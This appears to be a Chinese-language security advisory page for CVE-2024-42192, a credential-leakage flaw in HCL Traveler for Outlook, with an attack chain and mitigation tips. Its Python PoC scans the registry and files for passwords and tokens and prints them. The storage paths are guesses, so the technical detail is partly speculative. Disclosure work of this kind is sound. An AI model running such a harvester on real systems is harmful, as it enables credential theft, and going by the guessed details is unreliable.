IPBUF安全漏洞报告
English
CVE-2024-42192 CVSS 5.5 中危

CVE-2024-42192 HCL Traveler for Outlook凭据泄露漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2024-42192
漏洞类型
凭据泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HCL Traveler for Microsoft Outlook (HTMO)

相关标签

凭据泄露HCL TravelerMicrosoft Outlook本地攻击信息泄露横向移动中危漏洞企业邮件安全

漏洞概述

CVE-2024-42192是HCL Traveler for Microsoft Outlook(HTMO)产品中存在的一个凭据泄露安全漏洞。该漏洞由HCL公司PSIRT团队([email protected])发现并披露,CVSS 3.1评分为5.5分,属于中危级别漏洞。HCL Traveler是一款广泛部署的企业级邮件同步与协作解决方案,与Microsoft Outlook深度集成,允许用户在多平台环境下访问企业邮件、日历和联系人信息。该漏洞的核心问题在于HTMO组件在处理或存储用户凭据时存在安全缺陷,可能导致敏感的身份验证信息(如用户名、密码、令牌或其他认证凭据)以明文或弱保护形式存储在本地系统中。攻击者在成功利用该漏洞后,可以获取受害者的合法凭据,进而访问其他计算机系统或应用程序,从而扩大攻击范围。该漏洞的CVSS向量表明其利用条件较为严格——攻击者需要本地访问权限和低权限账户,但一旦利用成功,对系统机密性的影响较高。HCL公司已发布安全公告(KB0124066)提供修复方案,建议用户及时更新到安全版本以消除风险。

技术细节

从技术层面分析,CVE-2024-42192是一个典型的凭据泄露漏洞,其根本原因在于HCL Traveler for Microsoft Outlook(HTMO)在客户端处理用户身份验证凭据时未能实施充分的安全保护措施。具体而言,HTMO作为Outlook插件在本地系统中运行,需要与HCL Traveler服务器建立连接以同步邮件数据。在此过程中,客户端需要存储或缓存用户的认证凭据(如域密码、OAuth令牌或会话密钥)。漏洞的利用原理如下:

1. **凭据存储不安全**:HTMO可能在Windows注册表、本地配置文件、内存或临时文件中以明文或可逆加密形式存储用户凭据,未使用Windows DPAPI(Data Protection API)等操作系统级保护机制。

2. **本地访问利用**:由于攻击向量为本地(AV:L),攻击者需要在目标系统上拥有本地代码执行能力。通过文件系统访问、注册表读取或其他本地权限提升技术,攻击者可以定位并提取存储的凭据。

3. **凭据重用攻击**:获取的凭据可能不仅限于HTMO服务,还可能用于访问其他依赖相同认证机制的系统或应用程序,实现横向移动。

4. **权限要求低**:漏洞利用仅需要低权限账户(PR:L),意味着普通用户账户即可触发,无需管理员权限。

5. **无用户交互**:漏洞利用过程无需受害者配合(UI:N),增加了隐蔽性和危害性。

该漏洞主要影响系统的机密性(C:H),完整性和可用性不受影响。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者通过社工、物理访问或其他方式在目标系统上获得本地代码执行权限,以低权限用户账户登录被攻击的Windows系统。
STEP 2
步骤2:定位HTMO凭据存储位置
攻击者扫描Windows注册表、本地文件系统、用户配置目录等位置,定位HCL Traveler for Microsoft Outlook插件存储凭据的区域。
STEP 3
步骤3:提取泄露的凭据
攻击者读取存储的凭据信息,可能包括明文密码、认证令牌或可解密的加密凭据。
STEP 4
步骤4:凭据重用与横向移动
攻击者使用提取的凭据访问其他计算机系统或应用程序,利用凭据重用实施横向移动,扩大攻击范围。
STEP 5
步骤5:访问敏感资源
攻击者利用合法凭据访问企业邮件系统、内部应用或其他受保护资源,可能导致数据泄露或进一步渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-42192 - HCL Traveler for Microsoft Outlook Credential Leakage PoC # This PoC demonstrates how an attacker with local access could potentially # extract credentials stored by the HTMO Outlook plugin. # Note: This is for educational and authorized testing purposes only. import os import winreg import json # Common locations where HTMO may store credentials on Windows REGISTRY_PATHS = [ r"SOFTWARE\HCL\Traveler", r"SOFTWARE\HCL\Notes", r"SOFTWARE\IBM\Notes", r"SOFTWARE\Microsoft\Office\Outlook\Addins\HCL Traveler", ] CONFIG_FILE_PATHS = [ os.path.expandvars(r"%APPDATA%\HCL\Traveler\config.xml"), os.path.expandvars(r"%LOCALAPPDATA%\HCL\Traveler\credentials.dat"), os.path.expandvars(r"%APPDATA%\Microsoft\Outlook\HTMO_settings.ini"), ] def check_registry_credentials(): """Scan Windows registry for stored HTMO credentials.""" found_creds = [] for path in REGISTRY_PATHS: try: # Attempt to read from HKCU first (current user) key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, path, 0, winreg.KEY_READ) i = 0 while True: try: name, value, _ = winreg.EnumValue(key, i) if any(kw in name.lower() for kw in ['pass', 'token', 'cred', 'auth', 'key']): found_creds.append({"registry_path": path, "name": name, "value": value}) i += 1 except OSError: break winreg.CloseKey(key) except (FileNotFoundError, PermissionError): continue return found_creds def check_file_credentials(): """Scan filesystem for HTMO credential files.""" found_creds = [] for filepath in CONFIG_FILE_PATHS: expanded = os.path.expandvars(filepath) if os.path.exists(expanded): try: with open(expanded, 'r', errors='ignore') as f: content = f.read() if any(kw in content.lower() for kw in ['password', 'token', 'credential']): found_creds.append({"file": expanded, "preview": content[:500]}) except PermissionError: found_creds.append({"file": expanded, "status": "access_denied"}) return found_creds def main(): print("[*] CVE-2024-42192 - HTMO Credential Leakage Scanner") print("[*] Scanning for potentially leaked credentials...\n") reg_creds = check_registry_credentials() file_creds = check_file_credentials() if reg_creds: print(f"[!] Found {len(reg_creds)} potential credentials in registry:") for cred in reg_creds: print(f" Path: {cred['registry_path']}\\\\{cred['name']}") print(f" Value: {cred['value'][:50]}..." if len(str(cred['value'])) > 50 else f" Value: {cred['value']}") if file_creds: print(f"[!] Found {len(file_creds)} potential credential files:") for cred in file_creds: print(f" File: {cred['file']}") if not reg_creds and not file_creds: print("[+] No exposed credentials found (system may be patched).") if __name__ == "__main__": main()

影响范围

HCL Traveler for Microsoft Outlook (HTMO) 所有未修复的受影响版本

防御指南

临时缓解措施
在应用官方补丁之前,建议采取以下临时缓解措施:1)限制本地用户对HTMO相关注册表项和配置文件的访问权限;2)监控异常的文件读取和注册表访问行为;3)避免在共享或多用户系统中使用HTMO存储敏感凭据;4)定期轮换相关账户密码;5)部署主机入侵检测系统(HIDS)以检测凭据提取行为;6)考虑使用专用管理账户运行HTMO并限制该账户的权限范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表